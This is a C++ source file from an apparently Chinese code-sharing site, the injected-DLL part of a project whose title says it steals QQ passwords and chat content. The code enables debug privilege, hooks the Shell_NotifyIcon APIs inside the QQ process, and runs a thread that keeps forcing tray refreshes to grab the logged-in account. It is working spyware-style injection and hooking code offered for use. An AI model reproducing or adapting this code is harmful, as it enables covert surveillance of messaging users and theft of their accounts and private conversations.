gusucode.com > 如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ尾巴 > 如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ尾巴/RemoteThreadMateQQ/dllRemoteThread/dllRemoteThread.cpp

    // dllRemoteThread.cpp : Defines the initialization routines for the DLL.
//

#include "stdafx.h"
#include "dllRemoteThread.h"
#include "CommonFunc.h"
#include "APIHook.h"
#include "QQMate.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

//
// 跨进程空间共享的数据段
//
#pragma data_seg("Shared")
DWORD g_dwInvokerPID = 0;
HWND g_hWndInvoker = NULL;
t_RemoteThreadPara *f_pRemoteThreadPara = NULL;
#pragma data_seg()
#pragma comment(linker, "/Section:Shared,rws")

t_RemoteThreadPara *g_pRemoteThreadPara = NULL;

//
// 本dll内全局变量
//
CString g_csCurModuleBaseName;
HANDLE g_hThread_InjectQQ = NULL;
HANDLE m_hEvtEndModule = NULL;
extern CQQMate *m_pQQMate;

typedef BOOL (WINAPI *PFN_Shell_NotifyIconA) ( DWORD dwMessage, PNOTIFYICONDATA lpdata );
BOOL WINAPI Hook_Shell_NotifyIconA ( DWORD dwMessage, PNOTIFYICONDATA lpdata );
CAPIHook g_Shell_NotifyIconA ("shell32.dll", "Shell_NotifyIconA", (PROC) Hook_Shell_NotifyIconA, TRUE);

typedef BOOL (WINAPI *PFN_Shell_NotifyIconW) ( DWORD dwMessage, PNOTIFYICONDATA lpdata );
BOOL WINAPI Hook_Shell_NotifyIconW ( DWORD dwMessage, PNOTIFYICONDATA lpdata );
CAPIHook g_Shell_NotifyIconW ("shell32.dll", "Shell_NotifyIconW", (PROC) Hook_Shell_NotifyIconW, TRUE);

//
// 该函数只能被自己的程序调用,不要被远程进程调用
//
DLL_INTERNAL void WINAPI SetRemoteParameter ( LPVOID pParaAddrss, HWND hWndInvoker )
{
	HwDbgLog ( L_DEBUG|L_ONLY_LOGFILE, _T("pParaAddrss = 0x%x"), pParaAddrss );
	if ( pParaAddrss )
	{
		f_pRemoteThreadPara = (t_RemoteThreadPara*)pParaAddrss;
	}
	g_dwInvokerPID = GetCurrentProcessId ();
	
	if ( ::IsWindow(hWndInvoker) )
		g_hWndInvoker = hWndInvoker;
}

BOOL EnableDebugPrivilege(BOOL fEnable)
{
	BOOL fOk = FALSE;    // Assume function fails
	HANDLE hToken;
	
	// Try to open this process's access token
	if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES,&hToken))
	{		
		TOKEN_PRIVILEGES tp;
		tp.PrivilegeCount = 1;
		LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
		tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;
		AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
		fOk = (GetLastError() == ERROR_SUCCESS);
		CloseHandle(hToken);
	}
	return(fOk);
}

BOOL Hook_Shell_NotifyIcon ( DWORD dwMessage, PNOTIFYICONDATA lpdata )
{
	Log ( L_DEBUG, _T("dwMessage : %d, szTip = %s, hIcon = 0x%X, hWnd = 0x%X"),
			dwMessage, lpdata->szTip, lpdata->hIcon, lpdata->hWnd );
	if ( m_pQQMate ) m_pQQMate->Handle_TrayNotify ( dwMessage, lpdata );

	return TRUE;
}

// This is the Shell_NotifyIconA replacement function
BOOL WINAPI Hook_Shell_NotifyIconA ( DWORD dwMessage, PNOTIFYICONDATA lpdata )
{
	if ( CurrentIsQQProcess() )
	{
//		Log ( L_VERBOSE, _T("Hook_Shell_NotifyIconA() 函数被调用") );
		Hook_Shell_NotifyIcon ( dwMessage, lpdata );
	}
	
	// Call the original Shell_NotifyIconA function
	BOOL bResult = ((PFN_Shell_NotifyIconA)(PROC) (g_Shell_NotifyIconA) ) (dwMessage, lpdata);
	
	// Return the result back to the caller
	return bResult;
}

// This is the Shell_NotifyIconW replacement function
BOOL WINAPI Hook_Shell_NotifyIconW ( DWORD dwMessage, PNOTIFYICONDATA lpdata )
{
	if ( CurrentIsQQProcess() )
	{
//		Log ( L_VERBOSE, _T("Hook_Shell_NotifyIconW() 函数被调用") );
		Hook_Shell_NotifyIcon ( dwMessage, lpdata );
	}
	
	// Call the original Shell_NotifyIconW function
	BOOL bResult = FALSE;
	bResult = ((PFN_Shell_NotifyIconW)(PROC) g_Shell_NotifyIconW ) (dwMessage, lpdata);
	
	// Return the result back to the caller
	return bResult;
}


BOOL HookAPI ()
{
	if ( CurrentIsQQProcess() )
	{
		Log ( L_DEBUG, "HookAPI() " );
		g_Shell_NotifyIconA.Hook();
		g_Shell_NotifyIconW.Hook ();

	}
	return TRUE;
}

DWORD WINAPI ThreadProc_InjectQQ ( LPVOID lpParameter )
{
	Log ( L_DEBUG, _T("ThreadProc_InjectQQ() Start, PID = %d"), GetCurrentProcessId() );

	HookAPI ();
	
	if ( !m_pQQMate ) m_pQQMate = new CQQMate ( GetCurrentProcessId(), GetProgramDir() );
	if ( !m_pQQMate ) return FALSE;
	if ( !m_pQQMate->Init() )
	{
		Log ( L_ERROR, _T("Initialize QQMate object failed") );
		return FALSE;
	}

	HANDLE hEvtQQRecreateTray = CreateEvent ( NULL, TRUE, FALSE, QQRecreateTray_Event_Name );
	if ( !HANDLE_IS_VALID(hEvtQQRecreateTray) )
	{
		HwDbgLog ( L_OUT_DLG|L_ERROR, _T("Create kernel event failed.") );
		return FALSE;
	}
	HANDLE hAryEvt[] = { m_hEvtEndModule, hEvtQQRecreateTray };

	DWORD dwTime_NotifyQQRecreateTray = 0, dwTime_OneSecTimer = 0;
	while ( TRUE )
	{
		DWORD dwRet = ( ::WaitForMultipleObjects ( sizeof(hAryEvt)/sizeof(hAryEvt[0]), hAryEvt, FALSE, 1*1000 ) - WAIT_OBJECT_0 );
		DWORD dwNow = GetTickCount();

		// 系统将终止
		if ( dwRet == 0 )
			break;
		// 调用者通知刷新托盘图标来获取用户账号信息
		else if ( dwRet == 1 )
		{
			if ( dwNow - dwTime_NotifyQQRecreateTray > 1000 )
			{
				dwTime_NotifyQQRecreateTray = dwNow;
				if ( m_pQQMate && !m_pQQMate->Get_LocalQQAccount().IsEmpty() )
				{
					HwDbgLog ( L_DEBUG, _T("调用者通知刷新托盘图标来获取用户账号信息") );
					NotifyQQRecreateTray ();
				}
			}
			else
			{
				Sleep ( 100 );
			}
		}
		
		//-------------------------------------------
		// 1 秒定时器
		//-------------------------------------------
		if ( dwNow - dwTime_OneSecTimer >= 1000 )
		{
			dwTime_OneSecTimer = dwNow;
			if ( m_pQQMate && m_pQQMate->Get_LocalQQAccount().IsEmpty() )
			{
				// 定时 HookAPI,刷新托盘图标
				HookAPI ();
				NotifyQQRecreateTray ();
			}
		}
	}

	HwDbgLog ( L_OUT_DLG|L_DEBUG, _T("ThreadProc_InjectQQ() END") );
	return TRUE;
}

//
//	Note!
//
//		If this DLL is dynamically linked against the MFC
//		DLLs, any functions exported from this DLL which
//		call into MFC must have the AFX_MANAGE_STATE macro
//		added at the very beginning of the function.
//
//		For example:
//
//		extern "C" BOOL PASCAL EXPORT ExportedFunction()
//		{
//			AFX_MANAGE_STATE(AfxGetStaticModuleState());
//			// normal function body here
//		}
//
//		It is very important that this macro appear in each
//		function, prior to any calls into MFC.  This means that
//		it must appear as the first statement within the 
//		function, even before any object variable declarations
//		as their constructors may generate calls into the MFC
//		DLL.
//
//		Please see MFC Technical Notes 33 and 58 for additional
//		details.
//

/////////////////////////////////////////////////////////////////////////////
// CDllRemoteThreadApp

BEGIN_MESSAGE_MAP(CDllRemoteThreadApp, CWinApp)
	//{{AFX_MSG_MAP(CDllRemoteThreadApp)
		// NOTE - the ClassWizard will add and remove mapping macros here.
		//    DO NOT EDIT what you see in these blocks of generated code!
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CDllRemoteThreadApp construction

CDllRemoteThreadApp::CDllRemoteThreadApp()
{
	// TODO: add construction code here,
	// Place all significant initialization in InitInstance
}

/////////////////////////////////////////////////////////////////////////////
// The one and only CDllRemoteThreadApp object

CDllRemoteThreadApp theApp;


BOOL CDllRemoteThreadApp::InitInstance() 
{
	g_csCurModuleBaseName = hwGetModuleBaseName ();
	ASSERT ( !g_csCurModuleBaseName.IsEmpty () );
	HwDbgLog ( L_ONLY_LOGFILE, "InitInstance(), Current PID = %d", GetCurrentProcessId() );

	// 防止跨进程空间共享里的数据被其他进程修改,这里先将数据保存到进程空间中
	ASSERT ( !g_pRemoteThreadPara );
	g_pRemoteThreadPara = f_pRemoteThreadPara;

	if ( CurrentIsQQProcess () )
	{
		EnableDebugPrivilege ( TRUE );
		if ( g_pRemoteThreadPara )
		{
			Log ( L_ONLY_LOGFILE, _T("g_pRemoteThreadPara = 0x%x, hWndInvoker = 0x%X"),
				g_pRemoteThreadPara, g_hWndInvoker );
		}
		// 启动一个在远程进程空间中执行的线程
		m_hEvtEndModule = ::CreateEvent ( NULL, TRUE, FALSE, NULL );
		DWORD dwThreadID = 0;
		g_hThread_InjectQQ = ::CreateThread ( NULL, 0, ThreadProc_InjectQQ, NULL, 0, &dwThreadID );
		if ( !HANDLE_IS_VALID(g_hThread_InjectQQ) || !HANDLE_IS_VALID(m_hEvtEndModule) )
		{
			AfxMessageBox ( _T("Inject QQ failed.") );
			return FALSE;
		}
		Log ( L_ONLY_LOGFILE, "创建远程进程空间中的线程, m_hEvtEndModule = 0x%X, g_hThread_InjectQQ = 0x%X",
			m_hEvtEndModule, g_hThread_InjectQQ );
	}
	else
	{
		HwDbgLog ( L_ONLY_LOGFILE, "当前不是QQ进程。" );
	}

	return CWinApp::InitInstance();
}

int CDllRemoteThreadApp::ExitInstance() 
{
	HwDbgLog ( L_ONLY_LOGFILE, "ExitInstance(), Current PID = %d, g_pRemoteThreadPara = 0x%X", GetCurrentProcessId(), g_pRemoteThreadPara );
	
	if ( CurrentIsQQProcess () )
	{
		// 结束远程进程空间中的线程
		if ( HANDLE_IS_VALID(m_hEvtEndModule) ) ::SetEvent ( m_hEvtEndModule );
	//	AfxMessageBox ( _T("WaitForThreadEnd Start.") );
		WaitForThreadEnd ( &g_hThread_InjectQQ );
	//	AfxMessageBox ( FormatString(_T("WaitForThreadEnd End. g_hThread_InjectQQ = 0x%X"), g_hThread_InjectQQ ) );
		if ( HANDLE_IS_VALID(m_hEvtEndModule) ) ::CloseHandle ( m_hEvtEndModule ); m_hEvtEndModule = NULL;

		if ( m_pQQMate ) delete m_pQQMate;
		m_pQQMate = NULL;

		// 远程线程:释放调用者为我申请的内存空间
		if ( g_pRemoteThreadPara )
		{
			if ( VirtualFreeEx ( NULL, g_pRemoteThreadPara, 0, MEM_RELEASE ) )
			{
				Log ( L_ONLY_LOGFILE, "VirtualFreeEx ( 0x%x ) failed !!", g_pRemoteThreadPara );
			}
			Log ( L_ONLY_LOGFILE, "VirtualFreeEx ( 0x%x ) successfully.", g_pRemoteThreadPara );
			g_pRemoteThreadPara = NULL;
		}

		EnableDebugPrivilege ( FALSE );
	}

	return CWinApp::ExitInstance();
}